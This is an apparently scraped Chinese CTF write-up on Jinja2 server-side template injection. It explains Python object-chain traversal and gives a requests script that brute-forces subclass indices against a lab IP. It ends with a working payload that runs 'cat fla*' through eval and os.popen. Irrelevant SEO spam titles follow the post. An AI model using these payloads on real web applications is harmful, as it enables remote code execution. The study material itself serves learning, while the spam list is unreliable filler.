当前位置: 首页 > wzjs >正文

做婚礼请柬的网站有哪些英文网站建设合同

做婚礼请柬的网站有哪些,英文网站建设合同,深圳网站制作工作室,站酷网官网进入这个题很简单,主要是记录一下,做题的原理: 打开环境,提示我们用flag传参,然后我们需要判断是什么模板: 这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了&…

这个题很简单,主要是记录一下,做题的原理:

打开环境,提示我们用flag传参,然后我们需要判断是什么模板:

这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了,这里就不@作者了。

我们进行通过传参来判断到底是什么类型的模板,这里我们已经判断出是Jinjia2引擎,然后我们就需要构造payload看一下配置文件:

{{config}}

这里有时出题人会将flag藏到这里,这一关没有放到这里,我们接着就是要按照一般解题思路进行解题:

变量 -> 对象 -> 基类 ->子类遍历 -> 全局变量

在这个流程种找到我们想要的模块或者是函数。

首先我们先获取object对象:

#获取object对象:
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

然后获取所有有用的class:

''.__class__.__mro__[2] .__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__(){{ [].__class__.__bases__.__subclasses__()}}
{{ ''.__class__.__mro__()[1].__subclasses__()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

然后就需要我们去找到重载过的__init__类:

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

也就是说我们只有找到了被重载过的__init__类才能找到__globals__属性,然后才能继续下一步。这里我写了一个脚本来判断:

import requests
import time
import html
for i in range(0,300):time.sleep(0.06)payload="{{''.__class__.__mro__[1].__subclasses__()[%s]}}" % iurl='http://117.72.52.127:17751/?flag='r=requests.get(url+payload)if "os._wrap_close" in r.text:  #//这里可以是os._wrap_close也可以是catch_warnings,这样就会输出对应的索引print(r.text)print(i)break

这里的脚本就是要寻找那些有回显的或者可以执行命令的类,大多数利用的是os._wrap_close这个类,也有catch_warnings.这样我们就能获取到对应的索引,然后这里这个题我用到的是catch_warnings。找到对应的索引是177,然后构造payload为:

?flag={{''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fla*').read()")}}

这里找到索引后,调用它的__init__方法进行初始化类,然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等。

这里就可以去利用__builtins__模块,它里面有eval()等函数,我们可以也利用它来进行RCE。

最终构造的payload就是上面的payload。执行过后就可以得到flag。

这是一些比较好的SSTI的文章,我也从这里学到了很多:

FLask SSTI从零到入门 - 跳跳糖

详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户

http://www.dtcms.com/wzjs/566492.html

相关文章:

  • 请简要描述如何进行网站设计规划百度电脑版网页
  • 网站的建设工具实施过程旅游网站前台模板
  • 深圳便宜网站建设网站动画用什么做的
  • 郑州哪里有做网站的陕西服装网站建设
  • 定制网站公司哪家好微信分销网站建设费用
  • 兰州做网站的设计软件下载
  • 做网站为什么要去工厂永久免费的自建网站
  • 做网站优化公司排行高清素材免费下载
  • 深圳网站建设明细报价表高级的网站建设
  • 朝阳网站关键词优化排版设计视频教程
  • 力网站票网站开发直接做的视频网站
  • 网站一般用什么语言网页游戏传奇合击版
  • 优秀网站作品截图制学网网站
  • 宣传不网站网站开发 报价单
  • 怎么套模板 网站excel网站链接怎么做
  • 网站虚拟主机哪个好wordpress一键采集文章
  • seo建设网站平台创建
  • 网站建设制东莞市主营网站建设服务机构
  • 河南建设工程信息网站郑州高新开发区民政局开标情况网站推广链接
  • 株洲网上购房节优化大师电脑版官方
  • 做网站运营有前景吗赣州网站建设开发
  • 上海网站建设公司联系方式ppt模板设计
  • wordpress 云服务器配置seo网站设计多少钱
  • 网站开发的关键私人建设网站
  • 用wordpress做企业网站建设网站的网站首页
  • 怎么看网站有没有做301跳转安徽 网站开发
  • 建设高端网站公司建设公益网站多少钱
  • 服务器怎么做网站教程服务器如何做网站
  • 网站建设不是一次性费用温州专业网站推广
  • 网址大全安装app南宁seo网站推广服务